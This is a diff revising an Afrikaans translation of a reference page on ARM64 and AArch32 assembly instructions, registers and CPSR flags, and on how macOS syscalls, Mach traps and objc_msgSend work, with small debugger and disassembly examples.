+- **`SXTW X1, W2`** Brei die teken van 'n 32-bit getal **van W2 na X1** uit om die 64 bits te vul
-- **`UXTB X1, W2`** Voeg 0s (ongetekend) by 'n byte **van W2 na X1** om die 64bits te vul
+- **`UXTB X1, W2`** Voeg 0s by (unsigned) aan 'n byte **van W2 na X1** om die 64 bits te vul
-- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekonkateneer is**.
+- **`extr`:** Trek bite uit 'n gespesifiseerde **paar van registre concatenated**.
-- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** **konkatenereer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor.
+- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** concateneer en kry **van bit 3 van W2 tot bit 3 van W1** en dit in W3 stoor.
-- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae op. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`.
+- **`cmp`**: **Vergelyk** twee registers en stel conditievlae. Dit is 'n **alias van `subs`** wat die bestemming register op die zero register stel. Nuttig om te weet of `m == n`.
-- Dit ondersteun die **dieselfde sintaksis as `subs`**
+- Dit ondersteun dieselfde sintaks as `subs`
-- Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae ooreenkomstig op.
+- Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die conditievlae ooreenkomstig.
-- **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun die dieselfde sintaksis. Nuttig om te weet of `m == -n`.
+- **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun dieselfde sintaks. Nuttig om te weet of `m == -n`.
-- **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv bits stel.
+- **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv-bits stel.
 - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func
-- Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE` was**, as dit nie was nie, sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie).
+- Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE`** was; as dit nie was nie sal die bits `nzcv` op 0 gestel word (wat nie die `blt` vergelyking sal bevredig nie).
-- Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` teenoor `cmn`).
+- Dit kan ook as `ccmn` gebruik word (dieselfde maar negatief, soos `cmp` vs `cmn`).
-- **`tst`**: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word, 1 is.
+- **`tst`**: Dit kontroleer of enige van die bisse van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te toets en te kyk of enige van die bisse wat aangedui word deur die waarde 1 is.
-- Voorbeeld: `tst X1, #7` Kyk of enige van die laaste 3 bits van X1 1 is
+- Voorbeeld: `tst X1, #7` Kontroleer of enige van die laaste 3 bite van X1 1 is
-- **`teq`**: XOR operasie wat die resultaat verwerp
+- **`teq`**: XOR-operasie wat die resultaat weggooi
-- **`b`**: Onvoorwaardelike Tak
+- **`b`**: Onvoorwaardelike Tak (Branch)
 - Voorbeeld: `b myFunction`
-- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
+- Let daarop dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)
-- **`bl`**: **Tak** met koppeling, gebruik om 'n **subrutine** te **noem**. Stoor die **terugadres in `x30`**.
+- **`bl`**: **Branch** met link, gebruik om 'n **subrutine** te **bel**. Stoor die **terugkeeradres in `x30`**.
-- Voorbeeld: `bl myFunction` — Dit noem die funksie `myFunction` en stoor die terugadres in `x30`.
+- Voorbeeld: `bl myFunction` — Dit roep die funksie `myFunction` aan en stoor die terugkeeradres in `x30`.
-- Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
+- Let dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)
-- **`blr`**: **Tak** met Koppeling na Register, gebruik om 'n **subrutine** te **noem** waar die teiken in 'n **register** gespesifiseer word. Stoor die terugadres in `x30`. (Dit is
+- **`blr`**: **Branch** met Link na Register, gebruik om 'n **subrutine** te **bel** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`.
-- Voorbeeld: `blr x1` — Dit noem die funksie waarvan die adres in `x1` bevat is en stoor die terugadres in `x30`.
+- Voorbeeld: `blr x1` — Dit roep die funksie aan wie se adres in `x1` is en stoor die terugkeeradres in `x30`.
-- **`ret`**: **Keer terug** van **subrutine**, tipies met die adres in **`x30`**.
+- **`ret`**: **Keer terug** van 'n **subrutine**, tipies die adres in **`x30`** gebruik.
-- Voorbeeld: `ret` — Dit keer terug van die huidige subrutine met die terugadres in `x30`.
+- Voorbeeld: `ret` — Dit keer terug uit die huidige subrutine gebruikende die terugkeeradres in `x30`.
 - **`b.<cond>`**: Voorwaardelike takke
-- **`b.eq`**: **Tak as gelyk**, gebaseer op die vorige `cmp` instruksie.
+- **`b.eq`**: **Tak indien gelyk**, gebaseer op die vorige `cmp` instruksie.
-- Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`.
+- Voorbeeld: `b.eq label` — As die vorige `cmp` twee gelyke waardes gevind het, spring dit na `label`.
-- **`b.ne`**: **Tak as Nie Gelyk**. Hierdie instruksie kyk die toestand vlae (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres.
+- **`b.ne`**: **Tak as nie-gelyk**. Hierdie instruksie kontroleer die conditievlae (gestel deur 'n vorige vergelykingsinstruksie), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n label of adres.
 - Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`.
-- **`cbz`**: **Vergelyk en Tak op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres.
+- **`cbz`**: **Compare and Branch on Zero**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n label of adres.
 - Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`.
-- **`cbnz`**: **Vergelyk en Tak op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres.
+- **`cbnz`**: **Compare and Branch on Non-Zero**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n label of adres.
 - Voorbeeld: `cbnz x0, label` — As die waarde in `x0` nie nul is nie, spring dit na `label`.
-- **`tbnz`**: Toets bit en tak op nie-nul
+- **`tbnz`**: Test bit and branch on nonzero
 - Voorbeeld: `tbnz x0, #8, label`
-- **`tbz`**: Toets bit en tak op nul
+- **`tbz`**: Test bit and branch on zero
 - Voorbeeld: `tbz x0, #8, label`
-- **Voorwaardelike seleksie operasies**: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits.
+- **Conditional select operations**: Dit is operasies wie se gedrag afhang van die kondisionele bisse.
-- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2
+- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as onwaar, X0 = X2
-- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1
+- `csinc Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = Xm + 1
-- `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn
+- `cinc Xd, Xn, cond` -> As waar, Xd = Xn + 1, as onwaar, Xd = Xn
-- `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = NOT(Xm)
+- `csinv Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = NOT(Xm)
-- `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as vals, Xd = Xn
+- `cinv Xd, Xn, cond` -> As waar, Xd = NOT(Xn), as onwaar, Xd = Xn
-- `csneg Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as vals, Xd = - Xm
+- `csneg Xd, Xn, Xm, cond` -> As waar, Xd = Xn, as onwaar, Xd = - Xm
-- `cneg Xd, Xn, cond` -> As waar, Xd = - Xn, as vals, Xd = Xn
+- `cneg Xd, Xn, cond` -> As waar, Xd = - Xn, as onwaar, Xd = Xn
-- `cset Xd, Xn, Xm, cond` -> As waar, Xd = 1, as vals, Xd = 0
+- `cset Xd, Xn, Xm, cond` -> As waar, Xd = 1, as onwaar, Xd = 0
-- `csetm Xd, Xn, Xm, cond` -> As waar, Xd = \<alle 1>, as vals, Xd = 0
+- `csetm Xd, Xn, Xm, cond` -> As waar, Xd = \<all 1>, as onwaar, Xd = 0
-- **`adrp`**: Bereken die **bladsy adres van 'n simbool** en stoor dit in 'n register.
+- **`adrp`**: Bereken die **bladsyadres van 'n simbool** en stoor dit in 'n register.
-- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsy adres van `symbol` en stoor dit in `x0`.
+- Voorbeeld: `adrp x0, symbol` — Dit bereken die bladsyadres van `symbol` en stoor dit in `x0`.
-- **`ldrsw`**: **Laai** 'n ondertekende **32-bit** waarde van geheue en **onderteken-uitbrei dit na 64** bits.
+- **`ldrsw`**: **Laai** 'n signed **32-bit** waarde uit geheue en **sign-extend** dit na 64 bits.
-- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deur `x1` aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit in `x0`.
+- Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n signed 32-bit waarde vanaf die geheue-ligging aangedui deur `x1`, sign-extend dit na 64 bits, en stoor dit in `x0`.
-- **`stur`**: **Stoor 'n registerwaarde na 'n geheue ligging**, met 'n offset van 'n ander register.
+- **`stur`**: **Stoor 'n registerwaarde in 'n geheue-ligging**, gebruik 'n offset van 'n ander register.
-- Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue adres wat 4 bytes groter is as die adres wat tans in `x1` is.
+- Voorbeeld: `stur x0, [x1, #4]` — Dit stoor die waarde in `x0` in die geheue-adres wat 4 bytes groter is as die adres in `x1`.
-- **`svc`** : Maak 'n **stelselaanroep**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, **verskuif dit van gebruikersmodus na kernelmodus** en spring na 'n spesifieke ligging in geheue waar die **kernel se stelselaanroep hantering** kode geleë is.
+- **`svc`** : Maak 'n **system call**. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit **van gebruiker-modus na kern-modus** en spring na 'n spesifieke ligging in geheue waar die **kernel se system call handling** kode geleë is.
 
 - Voorbeeld:
 
 ```armasm
-mov x8, 93  ; Laai die stelselaanroepnommer vir uitgang (93) in register x8.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
-mov x0, 0   ; Laai die uitgangstatuskode (0) in register x0.
+mov x0, 0   ; Load the exit status code (0) into register x0.
-svc 0       ; Maak die stelselaanroep.
+svc 0       ; Make the system call.
 ```
 
-### **Funksie Proloog**
+### **Function Prologue**
 
-1. **Stoor die koppeling register en raamwyser na die stapel**:
+1. **Stoor die link register en frame pointer in die stack**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Stel die nuwe raamwyser op**: `mov x29, sp` (stel die nuwe raamwyser op vir die huidige funksie)  
+2. **Stel die nuwe raamwyser op**: `mov x29, sp` (stel die nuwe raamwyser vir die huidige funksie op)
-3. **Toewys ruimte op die stapel vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, <size>` (waar `<size>` die aantal bytes is wat benodig word)  
+3. **Ken ruimte op die stapel toe vir plaaslike veranderlikes** (indien nodig): `sub sp, sp, <size>` (waar `<size>` die aantal bytes is wat benodig word)
 
-### **Funksie Epiloog**
+### **Funksie-epiloog**
 
-1. **Deallokeer plaaslike veranderlikes (indien enige toegeken is)**: `add sp, sp, <size>`  
+1. **Maak plaaslike veranderlikes vry (indien enige toegeken is)**: `add sp, sp, <size>`
-2. **Herstel die skakelregister en raamwyser**:
+2. **Herstel die linkregister en raamwyser**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
-3. **Return**: `ret` (gee beheer terug aan die oproeper met behulp van die adres in die skakelregister)
+3. **Terugkeer**: `ret` (hergee beheer aan die aanroeper met behulp van die adres in die link register)
 
-## AARCH32 Uitvoeringsstaat
+## AARCH32 Uitvoeringstoestand
 
-Armv8-A ondersteun die uitvoering van 32-bis programme. **AArch32** kan in een van **twee instruksiesette** loop: **`A32`** en **`T32`** en kan tussen hulle skakel via **`interworking`**.\
+Armv8-A ondersteun die uitvoering van 32-bit programme. **AArch32** kan in een van **twee instruksiesstelle** loop: **`A32`** en **`T32`** en kan tussen hulle wissel via **`interworking`**.\
-**Bevoorregte** 64-bis programme kan die **uitvoering van 32-bis** programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.\
+**Bevoorregte** 64-bit programme kan die **uitvoering van 32-bit** programme beplan deur 'n oordrag van uitsonderingsvlak na die laer-bevoorregte 32-bit uit te voer.\
-Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die **bit 4 van** **`SPSR_ELx`** spesiale register **op 1** te stel wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` stoor die **`AArch32`** programme CPSR. Dan roep die bevoorregte proses die **`ERET`** instruksie aan sodat die verwerker oorgaan na **`AArch32`** en in A32 of T32 ingaan, afhangende van CPSR**.**
+Neem kennis dat die oorgang van 64-bit na 32-bit plaasvind met 'n laer uitsonderingsvlak (byvoorbeeld 'n 64-bit program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur **bit 4 van** **`SPSR_ELx`** spesiale register **op 1 te stel** wanneer die `AArch32` prosesdraad gereed is om uitgevoer te word en die res van `SPSR_ELx` die **`AArch32`** program se CPSR stoor. Daarna roep die bevoorregte proses die **`ERET`** instruksie sodat die verwerker na **`AArch32`** oorgaan en A32 of T32 betree afhangende van CPSR**.**
 
-Die **`interworking`** vind plaas met behulp van die J en T bits van CPSR. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1** te stel om aan te dui dat die instruksieset T32 is.\
+Die **`interworking`** gebeur deur die J en T-bitte van CPSR te gebruik. `J=0` en `T=0` beteken **`A32`** en `J=0` en `T=1` beteken **T32**. Dit beteken basies om die **laagste bit op 1 te stel** om aan te dui dat die instruksie-stel T32 is.\
-Dit word tydens die **interworking takinstruksies** gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:
+Dit word gestel tydens die **interworking branch instructions,** maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:
 
 Nog 'n voorbeeld:
 ```armasm
@@ -264,58 +267,58 @@ mov r0, #8
 ```
 ### Registers
 
-Daar is 16 32-bit registers (r0-r15). **Van r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige daarvan is gewoonlik gereserveer:
+Daar is 16 32-bit registers (r0-r15). **Vanaf r0 tot r14** kan hulle vir **enige operasie** gebruik word, maar sommige word gewoonlik gereserveer:
 
-- **`r15`**: Program counter (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4.
+- **`r15`**: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32 huidige + 4.
-- **`r11`**: Frame Pointer
+- **`r11`**: Raamwyser
-- **`r12`**: Intra-procedural call register
+- **`r12`**: Intra-prosedurele oproepregister
-- **`r13`**: Stack Pointer
+- **`r13`**: Stack Pointer (Let daarop dat die stack altyd 16-byte uitgelyn is)
 - **`r14`**: Link Register
 
-Boonop word registers gebackup in **`banked registries`**. Dit is plekke wat die registerwaardes stoor, wat vinnige kontekswisseling in uitsonderinghantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.\
+Verder word registers gesteun in **`banked registries`**. Dit is plekke wat die registerwaardes stoor en toelaat om **vinnige kontekswisseling** uit te voer tydens uitsonderingshantering en bevoegde operasies, sodat dit nie nodig is om registre elke keer handmatig te stoor en te herstel nie.\
-Dit word gedoen deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerker-modus waar die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die **`CPSR`** van die **`SPSR`** herstel.
+Dit gebeur deur **die verwerkerstatus van die `CPSR` na die `SPSR`** van die verwerkermodus waarin die uitsondering geneem is, te stoor. By die terugkeer van die uitsondering word die **`CPSR`** uit die **`SPSR`** herstel.
 
-### CPSR - Huidige Program Status Register
+### CPSR - Huidige Programstatusregister
 
-In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
+In AArch32 werk die CPSR soortgelyk aan **`PSTATE`** in AArch64 en word dit ook in **`SPSR_ELx`** gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
-Die velde is in 'n paar groepe verdeel:
+Die velde is in 'n paar groepe verdeeld:
 
-- Toepassing Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0
+- Application Program Status Register (APSR): Aritmetiese vlagte en toeganglik vanaf EL0
-- Uitvoeringstoestand Registers: Prosesgedrag (geadministreer deur die OS).
+- Execution State Registers: Prosesgedrag (bestuur deur die OS).
 
-#### Toepassing Program Status Register (APSR)
+#### Application Program Status Register (APSR)
 
-- Die **`N`**, **`Z`**, **`C`**, **`V`** vlae (net soos in AArch64)
+- Die **`N`**, **`Z`**, **`C`**, **`V`** vlagte (soos in AArch64)
-- Die **`Q`** vlag: Dit word op 1 gestel wanneer **heelgetal saturasie plaasvind** tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op **`1`** gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees.
+- Die **`Q`** vlag: Dit word op 1 gestel wanneer **integer-saturasie** voorkom tydens die uitvoering van 'n spesialis-saturerende aritmetiese instruksie. Sodra dit op **`1`** gestel is, behou dit die waarde totdat dit handmatig op 0 gestel word. Daar is verder geen instruksie wat sy waarde implisiet nagaan nie; dit moet handmatig gelees word.
-- **`GE`** (Groter as of gelyk aan) Vlaggen: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk.
+- **`GE`** (Greater than or equal) vlagte: Dit word in SIMD (Single Instruction, Multiple Data) operasies gebruik, soos "parallel add" en "parallel subtract". Hierdie operasies laat toe om verskeie datapunte in een instruksie te verwerk.
 
-Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operand) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan **die `GE` vlae in die `APSR`** op grond van hierdie resultate. Elke GE vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar **oorloop**.
+Byvoorbeeld, die **`UADD8`** instruksie **voeg vier pare bytes** (van twee 32-bit operands) parallel by en berg die resultate in 'n 32-bit register. Dit stel dan die **`GE`** vlagte in die **`APSR`** gebaseer op hierdie resultate. Elke GE-vlag stem ooreen met een van die byte-byvoegings en dui aan of die byvoeging vir daardie bytepaar **oorvloei**.
 
-Die **`SEL`** instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer.
+Die **`SEL`** instruksie gebruik hierdie GE-vlagte om voorwaardelike aksies uit te voer.
 
-#### Uitvoeringstoestand Registers
+#### Execution State Registers
 
-- Die **`J`** en **`T`** bits: **`J`** moet 0 wees en as **`T`** 0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik.
+- Die **`J`** en **`T`** bits: **`J`** behoort 0 te wees en as **`T`** 0 is gebruik dit die instruksieset A32, en as dit 1 is word T32 gebruik.
-- **IT Bloktoestand Register** (`ITSTATE`): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`** voorvoegselgroep.
+- IT Block State Register (`ITSTATE`): Dit is die bisse van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n **`IT`**-voorgestelde groep.
 - **`E`** bit: Dui die **endianness** aan.
-- **Modus en Uitsondering Masker Bits** (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die **5de** dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word **dui die huidige prioriteit aan** in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
+- Mode en Exception Mask Bits (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die 5de bit dui aan of die program as 32bit (1) of 64bit (0) loop. Die ander 4 verteenwoordig die **uitsonderingsmodus wat tans gebruik word** (wanneer 'n uitsondering plaasvind en hanteer word). Die gesette nommer dui die huidige prioriteit aan ingeval nog 'n uitsondering geaktiveer word terwyl hierdie een hanteer word.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word met die bits **`A`**, `I`, `F`. As **`A`** 1 is, beteken dit dat **asynchrone afbrake** geaktiveer sal word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs).
+- **`AIF`**: Sekere uitsonderings kan gedeaktiveer word deur die bits **`A`**, `I`, `F`. As **`A`** 1 is beteken dit asynchrone aborts sal geaktiveer word. Die **`I`** stel die reaksie op eksterne hardeware Interrupt Requests (IRQs) op, en die F is verwant aan Fast Interrupt Requests (FIRs).
 
 ## macOS
 
 ### BSD syscalls
 
-Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls sal **x16 > 0** hê.
+Kyk na [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) of voer `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` uit. BSD syscalls sal **x16 > 0** hê.
 
 ### Mach Traps
 
-Kyk na [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** aanroep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
+Kyk in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) na die `mach_trap_table` en in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) na die prototipes. Die maksimum aantal Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps sal **x16 < 0** hê, so jy moet die nommers van die vorige lys met 'n **minus** oproep: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
 
 Jy kan ook **`libsystem_kernel.dylib`** in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep:
 ```bash
@@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Let daarop dat **Ida** en **Ghidra** ook **spesifieke dylibs** uit die cache kan dekompileer net deur die cache te oorhandig.
+Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
 
 > [!TIP]
-> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** te kontroleer **as** om die **bronkode** te kontroleer omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
+> Soms is dit makliker om die **gedekompileerde** kode van **`libsystem_kernel.dylib`** **as** om die **bronkode** na te gaan, omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
 
-### machdep oproepe
+### machdep calls
 
-XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getalle van hierdie oproepe hang af van die argitektuur en geen van die oproepe of getalle is gewaarborg om konstant te bly nie.
+XNU ondersteun 'n ander tipe oproepe wat machine dependent genoem word. Die nommers van hierdie oproepe hang af van die argitektuur en geen van die oproepe of nommers is gewaarborg om konstant te bly nie.
 
-### comm bladsy
+### comm page
 
-Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruiker se proses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
+Dit is 'n kernel-eienaarskap geheuebladsy wat in die adresruimte van elke gebruiker se proses gemap word. Dit is bedoel om die oorgang van user mode na kernel space vinniger te maak as om syscalls te gebruik vir kernel-dienste wat so gereeld gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
 
-Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die comm bladsy.
+Byvoorbeeld lees die oproep `gettimeofdate` die waarde van `timeval` direk vanaf die comm page.
 
 ### objc_msgSend
 
-Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie stel jou in staat om 'n metode van 'n Objective-C objek aan te roep.
+Dit is uiters algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat toe om 'n metode van 'n Objective-C object aan te roep.
 
-Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
+Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
-- x0: self -> Wys na die instansie
+- x0: self -> Aanwyser na die instansie
-- x1: op -> Selektor van die metode
+- x1: op -> Selector van die metode
-- x2... -> Res van die argumente van die aangeroepte metode
+- x2... -> Oorblywende argumente van die aangeroepde metode
 
-So, as jy 'n breekpunt voor die tak na hierdie funksie plaas, kan jy maklik vind wat in lldb aangeroep word (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n opdrag sal uitvoer):
+As jy dus 'n breakpoint plaas voor die tak na hierdie funksie, kan jy maklik vind wat aangeroep word in lldb met (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n opdrag sal uitvoer):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,27 +372,27 @@ whoami
 )
 ```
 > [!TIP]
-> Deur die omgewing veranderlike **`NSObjCMessageLoggingEnabled=1`** in te stel, is dit moontlik om te log wanneer hierdie funksie in 'n lêer soos `/tmp/msgSends-pid` aangeroep word.
+> Deur die omgewingsveranderlike **`NSObjCMessageLoggingEnabled=1`** te stel, is dit moontlik om te log wanneer hierdie funksie aangeroep word in 'n lêer soos `/tmp/msgSends-pid`.
 >
-> Boonop, deur **`OBJC_HELP=1`** in te stel en enige binêre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om **log** te maak wanneer sekere Objc-C aksies plaasvind.
+> Verder, deur **`OBJC_HELP=1`** te stel en enige binary aan te roep, kan jy ander omgewingsveranderlikes sien wat jy kan gebruik om te **log** wanneer sekere Objc-C-aksies plaasvind.
 
-Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepde metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen:
+Wanneer hierdie funksie aangeroep word, moet die aangeroep metode van die aangeduide instance gevind word; hiervoor word verskeie soektogte uitgevoer:
 
-- Voer optimistiese kassoektog uit:
+- Voer optimistiese cache-opsoek uit:
-- As suksesvol, klaar
+- As dit suksesvol is, klaar
-- Verkry runtimeLock (lees)
+- Verkry runtimeLock (read)
-- As (realiseer && !cls->realized) realiseer klas
+- If (realize && !cls->realized) realize class
